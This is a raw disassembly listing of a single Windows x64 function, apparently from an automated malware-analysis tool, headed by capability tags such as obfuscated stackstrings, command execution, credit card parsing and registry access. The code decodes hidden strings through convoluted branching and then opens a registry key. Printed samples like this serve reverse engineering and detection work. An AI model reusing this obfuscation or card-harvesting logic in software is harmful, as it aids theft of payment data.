Function at 0x1400d0b90
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse credit card information
Parse pe header
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
movzx r10d, byte [rbp + 0xb0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b], xmm0
mov dword [rbp + 0xb8], 4
movabs rsi, 0xdb32a749f4f9969
mov dword [rbp], 0x7f717a73
movabs r14, 0xa702058dae7505
mov dword [rbp + 4], 0x6a747a61
movabs r12, 0x4910e26dfc53323
mov dword [rbp + 8], 0x989a9b95
movabs r15, 0x1f50610a90b5f0f
mov dword [rbp + 0xc], 0x86758580
mov dword [rbp + 0x10], 0x8a828184
mov dword [rbp + 0x14], 0x8b936c96
mov dword [rbp + 0x18], 0xb18d7862
mov dword [rbp + 0x1c], 0xabb1b7b6
mov dword [rbp + 0x20], 0x574b405a
mov dword [rbp + 0x24], 0xa5bab84f
mov word [rbp + 0x28], 0xa4a1
mov byte [rbp + 0x2a], ntohl
nop dword [rax + rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
xor edi, edi
cmp rdi, 0x3b
jae 0x1400d175e
movzx r11d, byte [rbp + rdi]
mov edx, r11d
cmp r8, rdi
ja 0x1400d1755
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d0c92
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x23
add r10b, cl
jmp 0x1400d0cc0
je 0x1400d16ea
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d1671
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d1622
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d1602
nop
cmp r9, rdi
ja 0x1400d174c
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d0ced
lea rcx, [rdi + rsi]
movzx eax, dl
and al, cl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 0x21
add r10b, cl
jmp 0x1400d0d30
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d15c4
inc rax
cmp r8, rax
je 0x1400d15a4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d1586
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d156c
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d1544
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d1281
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d1263
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d1240
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d121b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d11f8
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d11de
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d11c4
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d11a5
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d1186
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d115e
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d0d40
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d172f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d1712
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d0f2b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d0f0f
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d0ef4
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d1117
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d10d1
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d1092
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d1070
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d0d40
lea r8, [r9 + 0x64]
lea r9, [r8 + 1]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d1043
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d1029
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d100f
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400d0ff0
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d0fd1
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d0fb3
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d0f93
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d0f6b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d0f47
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d0d40
lea r8, [r9 + 0x61]
lea r9, [r8 + 8]
jmp 0x1400d0d40
lea r10d, [rdi - 0x49]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
dec r10b
add r10b, r11b
jmp 0x1400d0d30
lea r10d, [rdi - 0x53]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x45
add r10b, r11b
jmp 0x1400d0cc0
lea r10d, [rdi - 0x5d]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x75
add r10b, r11b
jmp 0x1400d0c65
lea ecx, [rdi + 0x48]
mov r10d, 4
movzx eax, cl
movzx ebx, dil
and al, r11b
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
jmp 0x1400d15dd
lea edx, [rdi + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
inc r9
and al, r11b
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d0c52
lea ecx, [rdi + 0x34]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
inc rdi
jmp 0x1400d0c52
lea ecx, [rdi + 0x2a]
movzx ebx, dil
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x1400d163b
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d1655
lea edx, [rdi + 0x16]
mov ecx, 0x33
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d1658
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x1400d1686
lea ecx, [rdi + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x1400d16ac
lea edx, [rdi - 8]
mov ecx, Ordinal_32
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d0c52
lea ecx, [rdi - 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
mov byte [rbp + rdi], r10b
inc rdi
jmp 0x1400d0c52
lea ecx, [rdi - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
cmp r9, 0x28
jb 0x1400d1085
mov edx, 7
movzx ebx, dil
lea ecx, [rbx - 2]
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400d15dd
lea ecx, [rdi - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
cmp r8, 6
jae 0x1400d14ff
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400d1457
lea ecx, [rdi - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x1400d10a7
lea ecx, [rdi - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x1400d1526
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400d1384
lea ecx, [rdi + 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
jmp 0x1400d10e6
lea ecx, [rdi + 0x76]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x3a
inc rdi
jmp 0x1400d0c52
lea edx, [rdi + 0x6c]
mov ecx, 6
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d16ac
lea edx, [rdi + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d1686
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400d1658
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x1400d1655
mov ecx, reloc.WS2_32.dll_select
movzx ebx, dil
lea edx, [rbx + 0x44]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d163b
lea edx, [rdi + 0x3a]
mov ecx, gethostname
movzx eax, dl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d0c52
lea ecx, [rdi + 0x30]
inc r9
movzx eax, cl
dec rdi
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
inc rdi
jmp 0x1400d0c52
movzx ebx, dil
lea ecx, [rbx + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x1400d15dd
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400d12a7
lea ecx, [rdi + 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x23
jmp 0x1400d112c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d12dd
lea edx, [rdi - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d0c52
inc rax
cmp r8, rax
jne 0x1400d12ff
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x1400d1686
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d1326
movzx ebx, dil
lea ecx, [rbx + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x1400d163b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d134f
lea ecx, [rdi + 0xe]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
inc rdi
jmp 0x1400d0c52
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d112c
lea edx, [rdi + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
inc r9
and al, r11b
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d0c52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d13ab
movzx ebx, dil
lea ecx, [rbx + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x63
jmp 0x1400d15dd
inc rax
cmp r8, rax
jne 0x1400d13d6
lea ecx, [rdi + 0x45]
inc r9
movzx eax, cl
dec rdi
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
inc rdi
jmp 0x1400d0c52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d13ff
lea ecx, [rdi + 0x4f]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
inc rdi
jmp 0x1400d0c52
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d1422
lea ecx, [rdi + 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
jmp 0x1400d1658
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d10e6
lea ecx, [rdi - 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
add r10b, 0x33
inc rdi
jmp 0x1400d0c52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1488
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x7c
inc rdi
jmp 0x1400d0c52
inc rax
cmp r8, rax
jne 0x1400d14aa
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
jmp 0x1400d1658
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d14d2
lea edx, [rdi - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d1655
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d10a7
lea ecx, [rdi - 0x20]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
inc rdi
jmp 0x1400d0c52
movzx r10d, byte [rbp + rdi]
movzx ebx, dil
lea edx, [rbx + 8]
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, r11b
add r10b, dl
jmp 0x1400d163b
lea ecx, [rdi + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rdi]
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x1400d1686
lea ecx, [rdi - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x55
inc rdi
jmp 0x1400d0c52
lea ecx, [rdi - 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
jmp 0x1400d1658
movzx ebx, dil
lea ecx, [rbx - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
jmp 0x1400d163b
lea ecx, [rdi - 0x79]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
inc rdi
jmp 0x1400d0c52
movzx ebx, dil
lea ecx, [rbx + 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
add bl, 3
movzx eax, bl
and al, r11b
add al, al
sub bl, al
sub bl, 0x15
add bl, r11b
mov byte [rbp + rdi], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d0c52
lea ecx, [rdi + 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xd
dec rdi
inc rdi
jmp 0x1400d0c52
movzx ebx, dil
lea ecx, [rbx + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x39
add bl, 0xd
movzx eax, bl
and al, r11b
add al, al
sub bl, al
sub bl, 0x5b
add bl, r10b
add bl, r11b
mov byte [rbp + rdi], bl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d0c52
lea rcx, [rdi + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
lea edx, [rdi + 0x17]
movzx eax, r11b
and al, dl
inc r9
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x5f
add cl, dl
movzx eax, cl
mov byte [rbp + rdi], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x1c]
movzx eax, r11b
and al, dl
inc r8
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi], cl
add rdi, rax
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d0c52
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d0c52
sub dil, 0x67
movzx eax, dil
and al, r11b
add al, al
sub dil, al
lea r10d, [r11 + rdi]
sub r10b, 0x2f
jmp 0x1400d0c50
sub dil, 0x71
movzx eax, dil
and al, r11b
add al, al
sub dil, al
lea r10d, [r11 + rdi]
add r10b, 0x17
jmp 0x1400d0c40
lea rdx, [rbp + 0x1769f5c]
jmp 0x1400d1762
lea rdx, [rbp + 0xa51461]
jmp 0x1400d1762
lea rdx, [rbp]
lea rax, [rbp + 0xc0]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400d4286
movzx r11d, byte [rbp + 0xb0]
xor eax, eax
mov qword [rsp + 0x60], rax
movabs rsi, 0xc543e4bd98611f10
mov dword [rsp + 0x68], eax
movabs r15, 0xda5377b3f9e59b50
mov byte [rsp + 0x6c], al
movabs r14, 0x4fcbae38c9235d30
mov dword [rsp + 0x40], 0xcdcef4d6
mov dword [rsp + 0x44], 0xc5c7f7c1
mov dword [rsp + 0x48], 0xf9aeccc4
mov dword [rsp + 0x4c], 0xfdcbfbc5
mov dword [rsp + 0x50], 0xf0fdfd92
mov dword [rsp + 0x54], 0xc4fff9ff
mov dword [rsp + 0x58], 0xfaf49ccc
mov dword [rsp + 0x5c], 0x5ffbf1fe
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
xor ebx, ebx
cmp rbx, 0x2d
jae 0x1400d231e
movzx r10d, byte [rsp + rbx + 0x40]
mov r8, r10
cmp rax, rbx
ja 0x1400d2315
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400d1860
lea r11, [rbx + rsi]
movzx ecx, r11b
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x70
add r11b, r8b
jmp 0x1400d18a0
je 0x1400d22ae
inc rcx
cmp rax, rcx
je 0x1400d225a
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400d21fe
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400d21d7
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400d21b3
nop dword [rax]
cmp r9, rbx
ja 0x1400d230c
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400d18c9
lea edx, [rbx + 0x50]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x30
jmp 0x1400d1900
je 0x1400d216b
inc rcx
cmp rax, rcx
je 0x1400d2141
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400d2133
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400d2125
nop word [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1400d1e1a
nop dword [rax]
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400d1dfa
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400d1ddd
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400d1dcf
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400d1e9a
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400d1dae
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1400d1d90
lea rcx, [r9 + 0x1000]
cmp rax, rcx
je 0x1400d1d77
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1400d1d57
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x1400d1d2e
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400d1910
lea rax, [r9 + 0xa]
lea r9, [rax + 0x10]
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400d22f1
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x1400d22d7
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x1400d1b06
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x1400d1ae5
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1400d1ac4
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x1400d1ce2
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400d1c94
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1400d1c4d
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x1400d1c2a
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x1400d1910
lea rax, [r9 + 0x10]
lea r9, [rax + 0x20]
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1400d1bfe
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1400d1bde
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x1400d1bc1
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x1400d1ba6
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x1400d1b92
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1400d1b81
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1400d1b73
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400d1b49
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x1400d1b26
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x1400d1910
lea rax, [r9 + 0x20]
lea r9, [rax + 0x28]
jmp 0x1400d1910
lea r8d, [rbx - 0x50]
mov edx, Ordinal_27
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
jmp 0x1400d1900
lea r8d, [rbx - 0x70]
mov edx, 8
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
jmp 0x1400d18a0
lea r8d, [rbx + 0x70]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r8b, 0x10
sub r11b, cl
add r11b, r8b
jmp 0x1400d1832
lea r8d, [rbx + 0x80]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
movzx edi, bl
sub r11b, cl
add r11b, 0x80
jmp 0x1400d2186
lea r8d, [rbx + 0x60]
mov edx, Ordinal_50
movzx ecx, r10b
inc r9
and cl, r8b
dec rbx
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
inc rbx
jmp 0x1400d1822
lea r8d, [rbx + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400d21e0
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx edi, bl
jmp 0x1400d220a
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
lea r11d, [rbx + r10]
jmp 0x1400d223e
lea edx, [rbx - 0x20]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x20
jmp 0x1400d2241
lea r8d, [rbx - 0x40]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x40
jmp 0x1400d20f3
lea r8d, [rbx - 0x60]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x60
add r11b, r8b
jmp 0x1400d2274
lea edx, [rbx + 0x80]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
add r11b, 0x80
inc rbx
jmp 0x1400d1822
lea edx, [rbx + 0x30]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x50
mov byte [rsp + rbx + 0x40], r11b
inc rbx
jmp 0x1400d1822
lea r8d, [rbx + 0x10]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x70
add r11b, r8b
cmp r9, 0x20
jb 0x1400d1c40
movzx edx, r10b
movzx edi, bl
movzx ecx, r10b
lea r8d, [rdi + 0x60]
and cl, r8b
add cl, cl
sub dl, cl
add dl, r8b
lea r11d, [rdx*2 - 0x40]
jmp 0x1400d2189
lea r8d, [rbx - 0x10]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_60
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
cmp rax, 0x10
jae 0x1400d20ab
lea rcx, [r9 + 0x20]
cmp rax, rcx
jbe 0x1400d1fdc
mov edx, reloc.WS2_32.dll_recv
lea r8d, [rbx + 0x20]
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
jmp 0x1400d1c65
mov edx, Ordinal_41
lea r8d, [rbx - 0x30]
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
lea rcx, [r9 + rax]
cmp rcx, 0xa
je 0x1400d20d6
lea rcx, [r9 + 0x10]
cmp rax, rcx
jbe 0x1400d1eef
lea r8d, [rbx - 0x30]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_41
jmp 0x1400d1ca4
lea edx, [rbx - 0x20]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
sub r11b, 0x20
inc rbx
jmp 0x1400d1822
lea r8d, [rbx - 0x40]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x40
add r11b, r8b
jmp 0x1400d2274
lea r8d, [rbx - 0x60]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r11b, cl
jmp 0x1400d20ef
lea edx, [rbx + 0x80]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
add r11b, 0x80
jmp 0x1400d2241
lea r8d, [rbx + 0x60]
mov edx, Ordinal_50
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
jmp 0x1400d223e
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
jmp 0x1400d21e0
movzx ecx, r10b
inc r9
and cl, bl
add cl, cl
sub r10b, cl
lea r11d, [rbx + r10]
dec rbx
inc rbx
jmp 0x1400d1822
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi - 0x20]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x20
jmp 0x1400d2186
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400d1e40
lea r8d, [rbx + 0x10]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x70
jmp 0x1400d1cfb
jne 0x1400d1e6b
lea edx, [rbx - 0x60]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + r10]
sub r11b, 0x60
inc rbx
jmp 0x1400d1822
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400d1e91
lea r8d, [rbx - 0x20]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x20
jmp 0x1400d20f3
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400d1eab
movzx edi, bl
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdi + 0x40]
jmp 0x1400d220a
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1400d1ec2
lea r8d, [rbx + 0x60]
mov edx, Ordinal_50
jmp 0x1400d21e0
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x1400d1cfe
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi - 0x60]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x60
jmp 0x1400d2186
lea rcx, [r9 + 1]
